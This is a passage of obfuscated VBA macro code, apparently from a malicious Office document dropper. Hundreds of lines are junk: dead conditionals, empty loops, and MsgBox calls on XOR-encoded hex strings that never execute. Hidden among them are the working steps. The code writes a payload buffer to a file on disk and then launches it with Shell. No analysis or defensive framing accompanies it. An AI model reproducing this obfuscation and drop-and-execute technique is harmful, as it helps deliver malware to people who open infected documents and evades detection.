  595.         MsgBox (XORI(HexToString("152F3901213A0C235B70"), HexToString("79686A44676C")))
  596. End If
  597. If Len(XORI(HexToString("07113A3C1222000251657D53"), HexToString("4965726651"))) = Len(XORI(HexToString("0238172407361832"), HexToString("4F4E7051"))) Then
  598.        MsgBox (XORI(HexToString("2417370A1345644440"), HexToString("61654565")))
  599. End If
  600.     XGJFDCHXVVI = FreeFile
  601.  
  602.     Open AKFQBNJCZGL For Binary As #XGJFDCHXVVI
  603. Dim wxoNzdGt As Integer
  604. For wxoNzdGt = 0 To 6
  605.  
  606. Dim eNKuaZpx As Integer
  607. If 916865 = 916865 + 1 Then End
  608. If 7652 < 42 Then
  609.         MsgBox (XORI(HexToString("06372F07092D14145271"), HexToString("6A427956")))
  610. End If
  611. If Len(XORI(HexToString("223C2820202B331661717766"), HexToString("50494550"))) = Len(XORI(HexToString("100A1B352F0C1B3B"), HexToString("445A4D56"))) Then
  612.        MsgBox (XORI(HexToString("2A20262E1D7275604E"), HexToString("6F525441")))
  613. End If
  614. eNKuaZpx = 1
  615.  
  616. Do While eNKuaZpx < 44
  617. If 982834 = 982834 + 1 Then End
  618. If 6667 < 69 Then
  619.         MsgBox (XORI(HexToString("30303C3106240E3B5D62"), HexToString("616951434C4D4B")))
  620. End If
  621. If Len(XORI(HexToString("20011B36143F190A43755444"), HexToString("6E744166737248"))) = Len(XORI(HexToString("0328071D041F1828"), HexToString("4E4666756D51"))) Then
  622.        MsgBox (XORI(HexToString("021036262467436568"), HexToString("4762444956")))
  623. End If
  624. DoEvents: eNKuaZpx = eNKuaZpx + 1
  625.  
  626. If 337697 = 337697 + 1 Then End
  627. If 3273 < 63 Then
  628.         MsgBox (XORI(HexToString("12250A1739373C307B56"), HexToString("424F6F6F505A6C")))
  629. End If
  630. If Len(XORI(HexToString("0426091B2E122E005F725070"), HexToString("684C6B436343"))) = Len(XORI(HexToString("1F2C2C172A112E0F"), HexToString("486149675061"))) Then
  631.        MsgBox (XORI(HexToString("261D370C1D65424E64"), HexToString("636F45")))
  632. End If
  633. Loop
  634.  
  635.  
  636. If 137848 = 137848 + 1 Then End
  637. If 7127 < 74 Then
  638.         MsgBox (XORI(HexToString("2A163A2F2D11241A515B"), HexToString("62646D4A45696B")))
  639. End If
  640. If Len(XORI(HexToString("25231C211726053849415864"), HexToString("5171796E534F4F"))) = Len(XORI(HexToString("25121800083F1526"), HexToString("675159"))) Then
  641.        MsgBox (XORI(HexToString("332324192376577077"), HexToString("765156")))
  642. End If
  643. DoEvents
  644.  
  645. Next wxoNzdGt
  646.  
  647. Dim GnzkNJON As Integer
  648. If 638237 = 638237 + 1 Then End
  649. If 9973 < 65 Then
  650.         MsgBox (XORI(HexToString("020D231330022225545C"), HexToString("63655676")))
  651. End If
  652. If Len(XORI(HexToString("282F2320353F2D1475586545"), HexToString("43416A5173695A"))) = Len(XORI(HexToString("34151430201F2A12"), HexToString("78676753"))) Then
  653.        MsgBox (XORI(HexToString("3031221D39516E5462"), HexToString("754350724B714F")))
  654. End If
  655. GnzkNJON = 6
  656.  
  657. Do While GnzkNJON < 95
  658. If 669893 = 669893 + 1 Then End
  659. If 9653 < 99 Then
  660.         MsgBox (XORI(HexToString("3C2B0F1B1D213D225742"), HexToString("736765")))
  661. End If
  662. If Len(XORI(HexToString("1B012713343E10265F7F4D76"), HexToString("716E4A74454B47"))) = Len(XORI(HexToString("1B310A0B231C3A05"), HexToString("6A6B4647516F55"))) Then
  663.        MsgBox (XORI(HexToString("0B07303B116E546375"), HexToString("4E75425463")))
  664. End If
  665. DoEvents: GnzkNJON = GnzkNJON + 1
  666.  
  667. If 831472 = 831472 + 1 Then End
  668. If 2195 < 76 Then
  669.         MsgBox (XORI(HexToString("081F1F1A191E03224A4D"), HexToString("78737472776862")))
  670. End If
  671. If Len(XORI(HexToString("222B152F3430263E6C7F5861"), HexToString("4C6E59"))) = Len(XORI(HexToString("091F1A1C232F2527"), HexToString("73766D4C"))) Then
  672.        MsgBox (XORI(HexToString("1136080126645B4F75"), HexToString("54447A6E")))
  673. End If
  674. Loop
  675.  
  676.  
  677. If 872113 = 872113 + 1 Then End
  678. If 2775 < 11 Then
  679.         MsgBox (XORI(HexToString("333305143F342E1C717B"), HexToString("7970444E7777")))
  680. End If
  681. If Len(XORI(HexToString("2013013835391C2760634565"), HexToString("567753"))) = Len(XORI(HexToString("2424350A03073325"), HexToString("48704773"))) Then
  682.        MsgBox (XORI(HexToString("14393B2C27716A6862"), HexToString("514B494355")))
  683. End If
  684.     Put #XGJFDCHXVVI, , WXGHYUAPXWY
  685.  
  686. Dim yquomZGb As Integer
  687. For yquomZGb = 0 To 9
  688.  
  689. Dim khnctddD As Integer
  690. If 379492 = 379492 + 1 Then End
  691. If 6585 < 31 Then
  692.         MsgBox (XORI(HexToString("3F0D1B082D0D1E1A7853"), HexToString("6F4A6A6F6B777A")))
  693. End If
  694. If Len(XORI(HexToString("0A22263D3235310442764951"), HexToString("6B6C75457A64"))) = Len(XORI(HexToString("11231E3B1D16182C"), HexToString("4B667974"))) Then
  695.        MsgBox (XORI(HexToString("0B232B2123796F7078"), HexToString("4E5159")))
  696. End If
  697. khnctddD = 4
  698.  
  699. Do While khnctddD < 15
  700. If 713896 = 713896 + 1 Then End
  701. If 7671 < 94 Then
  702.         MsgBox (XORI(HexToString("1A012B3E35262C207E70"), HexToString("624C454C714443")))
  703. End If
  704. If Len(XORI(HexToString("342A03141E331B3B6B694572"), HexToString("515A5171467869"))) = Len(XORI(HexToString("04282A0120252600"), HexToString("526D4F5468734D"))) Then
  705.        MsgBox (XORI(HexToString("0B08102108426F5B43"), HexToString("4E7A62")))
  706. End If
  707. DoEvents: khnctddD = khnctddD + 1
  708.  
  709. If 542327 = 542327 + 1 Then End
  710. If 9113 < 56 Then
  711.         MsgBox (XORI(HexToString("2F34243807203C2A657F"), HexToString("7759465149")))
  712. End If
  713. If Len(XORI(HexToString("0A1A3B3B0D3B020F6B6B5A5D"), HexToString("6E4E5A536C69"))) = Len(XORI(HexToString("241520340A07311D"), HexToString("627A726E7A"))) Then
  714.        MsgBox (XORI(HexToString("23331D172770554760"), HexToString("66416F78555074")))
  715. End If
  716. Loop
  717.  
  718.  
  719. If 238748 = 238748 + 1 Then End
  720. If 2829 < 46 Then
  721.         MsgBox (XORI(HexToString("2E0F381D0B1A33157C4E"), HexToString("6376424A79")))
  722. End If
  723. If Len(XORI(HexToString("2F1819230B0F1809585C575E"), HexToString("6E6F6D"))) = Len(XORI(HexToString("2C1A35123902130E"), HexToString("636A71556968"))) Then
  724.        MsgBox (XORI(HexToString("0436043B1861655775"), HexToString("414476546A")))
  725. End If
  726. DoEvents
  727.  
  728. Next yquomZGb
  729.  
  730. Dim eNMBZQwI As Integer
  731. If 915865 = 915865 + 1 Then End
  732. If 9965 < 55 Then
  733.         MsgBox (XORI(HexToString("24013C0526342302467B"), HexToString("4C7577")))
  734. End If
  735. If Len(XORI(HexToString("12163A2A1707353749747847"), HexToString("74784C49724565"))) = Len(XORI(HexToString("013C00173F02360B"), HexToString("464E61"))) Then
  736.        MsgBox (XORI(HexToString("1330131D2076634053"), HexToString("5642617252")))
  737. End If
  738. eNMBZQwI = 1
  739.  
  740. Do While eNMBZQwI < 82
  741. If 114336 = 114336 + 1 Then End
  742. If 7892 < 72 Then
  743.         MsgBox (XORI(HexToString("391305332415381B7643"), HexToString("43774F79")))
  744. End If
  745. If Len(XORI(HexToString("3F3C1E3B0B173D2761676451"), HexToString("45505652647549"))) = Len(XORI(HexToString("11321D3123082A01"), HexToString("52637A75595A46"))) Then
  746.        MsgBox (XORI(HexToString("231C16263665474F45"), HexToString("666E64494445")))
  747. End If
  748. DoEvents: eNMBZQwI = eNMBZQwI + 1
  749.  
  750. If 269381 = 269381 + 1 Then End
  751. If 2599 < 71 Then
  752.         MsgBox (XORI(HexToString("123A1C32242C3C2E7462"), HexToString("48737A4751")))
  753. End If
  754. If Len(XORI(HexToString("162B091F1B103F31744C4D77"), HexToString("784E444778"))) = Len(XORI(HexToString("003C1B3B2010053E"), HexToString("7A65634B79544A"))) Then
  755.        MsgBox (XORI(HexToString("0A283A27076F7B6969"), HexToString("4F5A484875")))
  756. End If
  757. Loop
  758.  
  759.  
  760. If 331169 = 331169 + 1 Then End
  761. If 9259 < 38 Then
  762.         MsgBox (XORI(HexToString("3C201F0124382606625F"), HexToString("566572536D")))
  763. End If
  764. If Len(XORI(HexToString("12060E070C29030A7B56627E"), HexToString("784F62504D475A"))) = Len(XORI(HexToString("071E221A071B1F1F"), HexToString("74646E74704252"))) Then
  765.        MsgBox (XORI(HexToString("2A03083E3648594E50"), HexToString("6F717A51446878")))
  766. End If
  767.     Close #XGJFDCHXVVI
  768.  
  769. Dim lQKfhkXv As Integer
  770. For lQKfhkXv = 0 To 5
  771.  
  772. Dim kgTrccFH As Integer
  773. If 561921 = 561921 + 1 Then End
  774. If 3183 < 86 Then
  775.         MsgBox (XORI(HexToString("261126233C28250D7F53"), HexToString("6B444C")))
  776. End If
  777. If Len(XORI(HexToString("2236250A0922110054525254"), HexToString("6763636266"))) = Len(XORI(HexToString("3E201D1323232738"), HexToString("4A517656485962"))) Then
  778.        MsgBox (XORI(HexToString("13072B390779775478"), HexToString("567559")))
  779. End If
  780. kgTrccFH = 4
  781.  
  782. Do While kgTrccFH < 77
  783. If 224323 = 224323 + 1 Then End
  784. If 8992 < 83 Then
  785.         MsgBox (XORI(HexToString("353F181C2E2C2227445D"), HexToString("6D69517268")))
  786. End If
  787. If Len(XORI(HexToString("1D012E0F212329024E515260"), HexToString("6D776666524567"))) = Len(XORI(HexToString("3B2E23303A230033"), HexToString("4F644B634E"))) Then
  788.        MsgBox (XORI(HexToString("3715163E024D6B5346"), HexToString("72676451706D4A")))
  789. End If
  790. DoEvents: kgTrccFH = kgTrccFH + 1
  791.  
  792. If 137177 = 137177 + 1 Then End
  793. If 7864 < 44 Then
  794.         MsgBox (XORI(HexToString("3C263409260806087E72"), HexToString("444A46")))
  795. End If
  796. If Len(XORI(HexToString("2C062B2B290B301358747467"), HexToString("556A4547506155"))) = Len(XORI(HexToString("0724330D29093D2C"), HexToString("4E6741544E"))) Then
  797.        MsgBox (XORI(HexToString("2F01011D054A525253"), HexToString("6A73737277")))
  798. End If
  799. Loop
  800.  
  801.  
  802. If 518986 = 518986 + 1 Then End
  803. If 2838 < 22 Then
  804.         MsgBox (XORI(HexToString("083A3B1C003A27315459"), HexToString("6F765A6D6C")))
  805. End If
  806. If Len(XORI(HexToString("1C251510252A050069597171"), HexToString("46497A5A6F"))) = Len(XORI(HexToString("292A082928372411"), HexToString("517941"))) Then
  807.        MsgBox (XORI(HexToString("3C31230D046A565862"), HexToString("79435162764A77")))
  808. End If
  809. DoEvents
  810.  
  811. Next lQKfhkXv
  812.  
  813. Dim eBVPIYGy As Integer
  814. If 594914 = 594914 + 1 Then End
  815. If 8639 < 42 Then
  816.         MsgBox (XORI(HexToString("0029330E060D2523537C"), HexToString("4A6766")))
  817. End If
  818. If Len(XORI(HexToString("06361C3A33160D1F414E6F44"), HexToString("6F4773775677"))) = Len(XORI(HexToString("0D1202073B0B140E"), HexToString("4254516E4A69"))) Then
  819.        MsgBox (XORI(HexToString("131B0B391B59774858"), HexToString("566979")))
  820. End If
  821. eBVPIYGy = 1
  822.  
  823. Do While eBVPIYGy < 44
  824. If 483264 = 483264 + 1 Then End
  825. If 7887 < 72 Then
  826.         MsgBox (XORI(HexToString("0734320B212133175F77"), HexToString("6A5167447963")))
  827. End If
  828. If Len(XORI(HexToString("0D30312027323F0B537D555C"), HexToString("4B666B"))) = Len(XORI(HexToString("2A1D26372B2D113D"), HexToString("694E5651"))) Then
  829.        MsgBox (XORI(HexToString("240A37230363624059"), HexToString("6178454C714343")))
  830. End If
  831. DoEvents: eBVPIYGy = eBVPIYGy + 1
  832.  
  833. If 451798 = 451798 + 1 Then End
  834. If 7217 < 47 Then
  835.         MsgBox (XORI(HexToString("123427223F3C2D076F61"), HexToString("565A5070457868")))
  836. End If
  837. If Len(XORI(HexToString("203D0C021A1C1F217E675F55"), HexToString("526D4F536864"))) = Len(XORI(HexToString("351D142319210D18"), HexToString("617A7A616A76"))) Then
  838.        MsgBox (XORI(HexToString("03193B0E344B684067"), HexToString("466B4961")))
  839. End If
  840. Loop
  841.  
  842.  
  843. If 325168 = 325168 + 1 Then End
  844. If 6216 < 66 Then
  845.         MsgBox (XORI(HexToString("090E3F3C1208243E415E"), HexToString("626D677968")))
  846. End If
  847. If Len(XORI(HexToString("2C3D0B1B3D212B13767D584F"), HexToString("6E7945414C"))) = Len(XORI(HexToString("3E03341A0E043909"), HexToString("737A42"))) Then
  848.        MsgBox (XORI(HexToString("2C1635260256484566"), HexToString("696447497076")))
  849. End If
  850.    
  851.  
  852.     Dim AHZQJMJWIZG
  853. Dim FhFTaXXg As Integer
  854. For FhFTaXXg = 0 To 9
  855.  
  856. Dim NkgbWren As Integer
  857. If 312795 = 312795 + 1 Then End
  858. If 9692 < 62 Then
  859.         MsgBox (XORI(HexToString("1825113B18222B2F435A"), HexToString("514C726E6E6D")))
  860. End If
  861. If Len(XORI(HexToString("08003D3E1227052357514672"), HexToString("63697047"))) = Len(XORI(HexToString("2B260E0B1B1B333B"), HexToString("67776D"))) Then
  862.        MsgBox (XORI(HexToString("2D3418211A664B6F49"), HexToString("68466A4E")))
  863. End If
  864. NkgbWren = 1
  865.  
  866. Do While NkgbWren < 47
  867. If 599652 = 599652 + 1 Then End
  868. If 2845 < 22 Then
  869.         MsgBox (XORI(HexToString("13233639251C13057A47"), HexToString("746943736A78")))
  870. End If
  871. If Len(XORI(HexToString("2B1A0307300C090357527D7B"), HexToString("71716464454E"))) = Len(XORI(HexToString("210705273733123D"), HexToString("425641"))) Then
  872.        MsgBox (XORI(HexToString("373100001B61595362"), HexToString("7243726F694178")))
  873. End If
  874. DoEvents: NkgbWren = NkgbWren + 1
  875.  
  876. If 336886 = 336886 + 1 Then End
  877. If 9753 < 63 Then
  878.         MsgBox (XORI(HexToString("0B023D03230B360C5B67"), HexToString("52646A")))
  879. End If
  880. If Len(XORI(HexToString("1B2E250009231B3C7D48797F"), HexToString("714849"))) = Len(XORI(HexToString("2D3B1A10200A2E21"), HexToString("66704D"))) Then
  881.        MsgBox (XORI(HexToString("141F2135234D727B70"), HexToString("516D535A")))
  882. End If
  883. Loop
  884.  
  885.  
  886. If 515587 = 515587 + 1 Then End
  887. If 2993 < 23 Then
  888.         MsgBox (XORI(HexToString("2729191E11121B1F7844"), HexToString("41715651")))
  889. End If
  890. If Len(XORI(HexToString("112D0C122804360066714E73"), HexToString("5055467A476B4C"))) = Len(XORI(HexToString("35193B1C112A3905"), HexToString("4D51534B6B"))) Then
  891.        MsgBox (XORI(HexToString("37112B231A71534278"), HexToString("7263594C6851")))
  892. End If
  893. DoEvents
  894.  
  895. Next FhFTaXXg
  896.  
  897. Dim gIJjzHcn As Integer
  898. If 758949 = 758949 + 1 Then End
  899. If 1281 < 77 Then
  900.         MsgBox (XORI(HexToString("172C3A1E1B13072F6D67"), HexToString("636D55554875")))
  901. End If
  902. If Len(XORI(HexToString("051603381607121B71674F66"), HexToString("7245537A524448"))) = Len(XORI(HexToString("163B2B310B3A2F15"), HexToString("55534D"))) Then
  903.        MsgBox (XORI(HexToString("260B270C0B75425874"), HexToString("637955")))
  904. End If
  905. gIJjzHcn = 1
  906.  
  907. Do While gIJjzHcn < 46
  908. If 946839 = 946839 + 1 Then End
  909. If 3424 < 37 Then
  910.         MsgBox (XORI(HexToString("382F2621143304134E4E"), HexToString("7A76474A")))
  911. End If
  912. If Len(XORI(HexToString("19371E01331F34114274787E"), HexToString("7576464F4A6E43"))) = Len(XORI(HexToString("39390E200B310122"), HexToString("78514B"))) Then
  913.        MsgBox (XORI(HexToString("22020200014751514E"), HexToString("6770706F73")))
  914. End If
  915. DoEvents: gIJjzHcn = gIJjzHcn + 1
  916.  
  917. If 246788 = 246788 + 1 Then End
  918. If 6267 < 27 Then
  919.         MsgBox (XORI(HexToString("05130B14152C3A027A60"), HexToString("516549")))
  920. End If
  921. If Len(XORI(HexToString("0D240122191B0436525B415B"), HexToString("556B6F726A4851"))) = Len(XORI(HexToString("190C0E13041D0F08"), HexToString("7A686B45686C7A"))) Then
  922.        MsgBox (XORI(HexToString("2301143D0670475247"), HexToString("667366527450")))
  923. End If
  924. Loop
  925.  
  926.  
  927. If 838218 = 838218 + 1 Then End
  928. If 2347 < 26 Then
  929.         MsgBox (XORI(HexToString("3A2F002D251D323A4354"), HexToString("715970626645")))
  930. End If
  931. If Len(XORI(HexToString("132D253812243D2C70405374"), HexToString("716B43"))) = Len(XORI(HexToString("3D1A022F043C0A34"), HexToString("5173514946"))) Then
  932.        MsgBox (XORI(HexToString("2C0520293D4E484856"), HexToString("697752464F6E69")))
  933. End If
  934.     AHZQJMJWIZG = Shell(AKFQBNJCZGL, 1)
  935.  
  936.  
  937. Dim iVgETSJE As Integer
  938. For iVgETSJE = 0 To 4
  939.  
  940. Dim SLlusfVl As Integer
  941. If 545528 = 545528 + 1 Then End
  942. If 3948 < 95 Then
  943.         MsgBox (XORI(HexToString("0E02043921001F237A64"), HexToString("4D744E536251")))
  944. End If
  945. If Len(XORI(HexToString("1F30230D283C0F147C557774"), HexToString("4646454A67"))) = Len(XORI(HexToString("1C3F27093E340407"), HexToString("755A6D6C"))) Then
  946.        MsgBox (XORI(HexToString("003A08361C65695B78"), HexToString("45487A596E")))
  947. End If
  948. SLlusfVl = 5
  949.  
  950. Do While SLlusfVl < 88
  951. If 489841 = 489841 + 1 Then End
  952. If 1747 < 11 Then
  953.         MsgBox (XORI(HexToString("0C1C371E1415260F5D7F"), HexToString("654C4E6A")))
  954. End If
  955. If Len(XORI(HexToString("271407181E1D2823537C6941"), HexToString("506561495176"))) = Len(XORI(HexToString("3B35373F35323712"), HexToString("516773556F"))) Then
  956.        MsgBox (XORI(HexToString("37381825276F494F70"), HexToString("724A6A4A554F686E51686E6A764C")))
  957. End If
  958. DoEvents: SLlusfVl = SLlusfVl + 1
  959.  
  960. If 853459 = 853459 + 1 Then End
  961. If 6927 < 25 Then
  962.         MsgBox (XORI(HexToString("0F31262A1E363F0B4F71"), HexToString("696B744C707259657846")))
  963. End If
  964. If Len(XORI(HexToString("210C37110737311A697C5E50"), HexToString("6256565561525A70504F66"))) = Len(XORI(HexToString("2F293D1C0034292F"), HexToString("59506F527775636C635367715A5A"))) Then
  965.        MsgBox (XORI(HexToString("081C05261E6569404C"), HexToString("4D6E77496C4548616D")))
  966. End If
  967. Loop
  968.  
  969.  
  970. If 197745 = 197745 + 1 Then End
  971. If 7726 < 71 Then
  972.         MsgBox (XORI(HexToString("1101331B173F33335E6A"), HexToString("59526B")))
  973. End If
  974. If Len(XORI(HexToString("301D0C1A3B1B041E776C7358"), HexToString("446E784E5A71724D4F59"))) = Len(XORI(HexToString("21121332041B1518"), HexToString("6346564349"))) Then
  975.        MsgBox (XORI(HexToString("2E28370428654A7B64"), HexToString("6B5A45")))
  976. End If
  977. DoEvents
  978.  
  979. Next iVgETSJE
  980.  
  981. Dim SMkgUnGu As Integer
  982. If 285783 = 285783 + 1 Then End
  983. If 5648 < 22 Then
  984.         MsgBox (XORI(HexToString("1B2102292C3039054574"), HexToString("417944706954756776")))
  985. End If
  986. If Len(XORI(HexToString("0F003B31301B1A1A4F5A7247"), HexToString("4375537762"))) = Len(XORI(HexToString("2A261C2733261123"), HexToString("47765046774B4444716445626E"))) Then
  987.        MsgBox (XORI(HexToString("2F331F1E2262576F6A"), HexToString("6A416D715042764E4B69")))
  988. End If
  989. SMkgUnGu = 5
  990.  
  991. Do While SMkgUnGu < 23
  992. If 189745 = 189745 + 1 Then End
  993. If 4853 < 42 Then
  994.         MsgBox (XORI(HexToString("171B0917002F14034C40"), HexToString("636965717464666F797356")))
  995. End If
  996. If Len(XORI(HexToString("331817350727100B6F445C7B"), HexToString("455A736D485151"))) = Len(XORI(HexToString("301701323E22052B"), HexToString("69534C784B4A61656759"))) Then
  997.        MsgBox (XORI(HexToString("0837023E287643515B"), HexToString("4D4570515A5662707A")))
  998. End If
  999. DoEvents: SMkgUnGu = SMkgUnGu + 1
  1000.  
  1001. If 137877 = 137877 + 1 Then End
  1002. If 4969 < 15 Then
  1003.         MsgBox (XORI(HexToString("1F3E0A2D1315052C6771"), HexToString("69554869454467")))
  1004. End If
  1005. If Len(XORI(HexToString("22103B381B0A342374566266"), HexToString("65515575556773704C"))) = Len(XORI(HexToString("2D0D073804031129"), HexToString("477975516D48764563"))) Then
  1006.        MsgBox (XORI(HexToString("0431182B3B71675457"), HexToString("41436A4449514675767479")))
  1007. End If
  1008. Loop
  1009.  
  1010.  
  1011. If 848211 = 848211 + 1 Then End
  1012. If 2447 < 27 Then
  1013.         MsgBox (XORI(HexToString("2027313901051E1E6551"), HexToString("6B7256697842")))
  1014. End If
  1015. If Len(XORI(HexToString("0116002D2A1737244A7E4E62"), HexToString("77556B644D785275794D"))) = Len(XORI(HexToString("1F2E2C002E292E13"), HexToString("73466666474F445143"))) Then
  1016.        MsgBox (XORI(HexToString("36200117225A776752"), HexToString("73527378507A5646")))
  1017. End If
  1018.     Set LHKDBMKRMVZ = Nothing
  1019.  
  1020. Dim IVDOPqoi As Integer
  1021. For IVDOPqoi = 0 To 5
  1022.  
  1023. Dim KpwBGfKy As Integer
  1024. If 592124 = 592124 + 1 Then End
  1025. If 8611 < 52 Then
  1026.         MsgBox (XORI(HexToString("1A1D062E1E3A2202466B"), HexToString("565365764A5253417559")))
  1027. End If
  1028. If Len(XORI(HexToString("373D25171307283E74525378"), HexToString("474D67654A4546"))) = Len(XORI(HexToString("2A182D2928281524"), HexToString("4974414859794F454779"))) Then
  1029.        MsgBox (XORI(HexToString("0414162408746A454F"), HexToString("4166644B7A544B646E5656494A6B")))
  1030. End If
  1031. KpwBGfKy = 6
  1032.  
  1033. Do While KpwBGfKy < 64
  1034. If 213723 = 213723 + 1 Then End
  1035. If 3768 < 31 Then
  1036.         MsgBox (XORI(HexToString("1031342B3507092E715C"), HexToString("46694267")))
  1037. End If
  1038. If Len(XORI(HexToString("05190B1F231D2C1F607B6353"), HexToString("516A51544E"))) = Len(XORI(HexToString("06150A0727291E27"), HexToString("64416B"))) Then
  1039.        MsgBox (XORI(HexToString("04053B35136156687B"), HexToString("4177495A61")))
  1040. End If
  1041. DoEvents: KpwBGfKy = KpwBGfKy + 1
  1042.  
  1043. If 812554 = 812554 + 1 Then End
  1044. If 3715 < 83 Then
  1045.         MsgBox (XORI(HexToString("1E221326023529337B43"), HexToString("7847654C70")))
  1046. End If
  1047. If Len(XORI(HexToString("3E1605253C293A32677D5A47"), HexToString("6C724B5348"))) = Len(XORI(HexToString("13202C3F0C0B013D"), HexToString("6A6A696E"))) Then
  1048.        MsgBox (XORI(HexToString("142B310B3D46487078"), HexToString("515943644F6669")))
  1049. End If
  1050. Loop
  1051.  
  1052.  
  1053. If 465263 = 465263 + 1 Then End
  1054. If 4393 < 61 Then
  1055.         MsgBox (XORI(HexToString("1D203721161C31065C73"), HexToString("6442664A70657970")))
  1056. End If
  1057. If Len(XORI(HexToString("30032A09340C1B3C7358547B"), HexToString("74446D614C6E4A"))) = Len(XORI(HexToString("2C081E2E0D2A3B15"), HexToString("796778"))) Then
  1058.        MsgBox (XORI(HexToString("2B3F30013F624F6C63"), HexToString("6E4D42")))
  1059. End If
  1060. DoEvents
  1061.  
  1062. Next IVDOPqoi
  1063.  
  1064. Dim KqluqnOL As Integer
  1065. If 961769 = 961769 + 1 Then End
  1066. If 9524 < 36 Then
  1067.         MsgBox (XORI(HexToString("18123F3F2B1B1F2A5473"), HexToString("734B486541")))
  1068. End If
  1069. If Len(XORI(HexToString("01180C1D100D1707535E4771"), HexToString("66626D71456162"))) = Len(XORI(HexToString("2F00240206043C32"), HexToString("7570536A"))) Then
  1070.        MsgBox (XORI(HexToString("130218353776514B7B"), HexToString("56706A5A45")))
  1071. End If
  1072. KqluqnOL = 6
  1073.  
  1074. Do While KqluqnOL < 64
  1075. If 255952 = 255952 + 1 Then End
  1076. If 8418 < 87 Then
  1077.         MsgBox (XORI(HexToString("3D0A123B391220187E77"), HexToString("4E4C51437643747449")))
  1078. End If
  1079. If Len(XORI(HexToString("23053F322A0938245E445A61"), HexToString("504867766F59"))) = Len(XORI(HexToString("3C002B2621210B1D"), HexToString("4964464A5969514471526E"))) Then
  1080.        MsgBox (XORI(HexToString("0A053C1516646E6843"), HexToString("4F774E7A64444F4962")))
  1081. End If
  1082. DoEvents: KqluqnOL = KqluqnOL + 1
  1083.  
  1084. If 518125 = 518125 + 1 Then End
  1085. If 5987 < 25 Then
  1086.         MsgBox (XORI(HexToString("111F3D3B0B0C160E7F51"), HexToString("49664476")))
  1087. End If
  1088. If Len(XORI(HexToString("09153B0A2C381313726C5972"), HexToString("44546A45"))) = Len(XORI(HexToString("352E333B3410002A"), HexToString("425A5478"))) Then
  1089.        MsgBox (XORI(HexToString("2208342131475B676F"), HexToString("677A464E43")))
  1090. End If
  1091. Loop
  1092.  
  1093.  
  1094. If 644889 = 644889 + 1 Then End
  1095. If 3287 < 35 Then
  1096.         MsgBox (XORI(HexToString("26213519241839254045"), HexToString("727371")))
  1097. End If
  1098. If Len(XORI(HexToString("07153B021E3A002B7D6D666B"), HexToString("535A684B59"))) = Len(XORI(HexToString("0017050A0205151F"), HexToString("6E72746C4B6152"))) Then
  1099.        MsgBox (XORI(HexToString("2E1F35051D4B4C664B"), HexToString("6B6D476A6F")))
  1100. End If
  1101.      
  1102.  
  1103. End Function
  1104. Sub GZQXNGNMUTV()
  1105. Dim zUsGSLKq As Integer
  1106. For zUsGSLKq = 0 To 5
  1107.  
  1108. Dim NkfUhjWd As Integer
  1109. If 731937 = 731937 + 1 Then End
  1110. If 4893 < 14 Then
  1111.         MsgBox (XORI(HexToString("1C04021C0528220D6163"), HexToString("7968755455")))
  1112. End If
  1113. If Len(XORI(HexToString("013D3F250A3F06107A437366"), HexToString("4551744D72"))) = Len(XORI(HexToString("0E0B1E313A280225"), HexToString("694869746E466F"))) Then
  1114.        MsgBox (XORI(HexToString("33343E27264B57676D"), HexToString("76464C48546B")))
  1115. End If
  1116. NkfUhjWd = 7
  1117.  
  1118. Do While NkfUhjWd < 23
  1119. If 917593 = 917593 + 1 Then End
  1120. If 6823 < 62 Then
  1121.         MsgBox (XORI(HexToString("16050A3F133E241C445E"), HexToString("474952706B")))
  1122. End If
  1123. If Len(XORI(HexToString("1F28380C21281D00737D5358"), HexToString("51444A646C6247"))) = Len(XORI(HexToString("0E0503263E000904"), HexToString("4341467178"))) Then
  1124.        MsgBox (XORI(HexToString("10040424337557576A"), HexToString("5576764B41")))
  1125. End If
  1126. DoEvents: NkfUhjWd = NkfUhjWd + 1
  1127.  
  1128. If 818755 = 818755 + 1 Then End
  1129. If 6572 < 31 Then
  1130.         MsgBox (XORI(HexToString("1021083A29391B3C5452"), HexToString("7655786361")))
  1131. End If
  1132. If Len(XORI(HexToString("212511000918051471417863"), HexToString("775148794C56"))) = Len(XORI(HexToString("273A0338320C0003"), HexToString("45737354636F"))) Then
  1133.        MsgBox (XORI(HexToString("2E221C292066654A71"), HexToString("6B506E46524644")))
  1134. End If
  1135. Loop
  1136.  
  1137.  
  1138. If 254552 = 254552 + 1 Then End
  1139. If 9494 < 87 Then
  1140.         MsgBox (XORI(HexToString("12212317033A1929645C"), HexToString("504D6A5365")))
  1141. End If
  1142. If Len(XORI(HexToString("033F030B2133343B7855467D"), HexToString("677249"))) = Len(XORI(HexToString("0F03180C2130283F"), HexToString("6667704E7559"))) Then
  1143.        MsgBox (XORI(HexToString("1113062D2641556375"), HexToString("54617442")))
  1144. End If
  1145. DoEvents
  1146.  
  1147. Next zUsGSLKq
  1148.  
  1149. Dim dKVGWsVT As Integer
  1150. If 857459 = 857459 + 1 Then End
  1151. If 2275 < 87 Then
  1152.         MsgBox (XORI(HexToString("20173636241F19196860"), HexToString("51525351")))
  1153. End If
  1154. If Len(XORI(HexToString("293E151B232A3B054F725874"), HexToString("477A476C4C784E"))) = Len(XORI(HexToString("31261901191E0000"), HexToString("544C6C4E736459"))) Then
  1155.        MsgBox (XORI(HexToString("331E11191E43574D42"), HexToString("766C63")))
  1156. End If
  1157. dKVGWsVT = 1
  1158.  
  1159. Do While dKVGWsVT < 48
  1160. If 433278 = 433278 + 1 Then End
  1161. If 7387 < 76 Then
  1162.         MsgBox (XORI(HexToString("371C3A060D0F1A1C7651"), HexToString("416A6A566B4753684F67")))
  1163. End If
  1164. If Len(XORI(HexToString("1C1A3F042E0C043B707F7E61"), HexToString("56766B686274716A484E4A565A"))) = Len(XORI(HexToString("073E300228352015"), HexToString("494B546542526B45595248"))) Then
  1165.        MsgBox (XORI(HexToString("3205042E174C714556"), HexToString("77777641656C5064")))
  1166. End If
  1167. DoEvents: dKVGWsVT = dKVGWsVT + 1
  1168.  
  1169. If 183273 = 183273 + 1 Then End
  1170. If 5532 < 11 Then
  1171.         MsgBox (XORI(HexToString("053A20350B092B04444C"), HexToString("7376794F655147")))
  1172. End If
  1173. If Len(XORI(HexToString("353E061B331826314A7B5641"), HexToString("724C6F74"))) = Len(XORI(HexToString("3A382B160A33381C"), HexToString("516D7A6E5A41"))) Then
  1174.        MsgBox (XORI(HexToString("2F3E0124186C526A4B"), HexToString("6A4C734B")))
  1175. End If
  1176. Loop
  1177.  
  1178.  
  1179. If 913337 = 913337 + 1 Then End
  1180. If 3188 < 35 Then
  1181.         MsgBox (XORI(HexToString("0F0A100B1F162A287873"), HexToString("4161414C46")))
  1182. End If
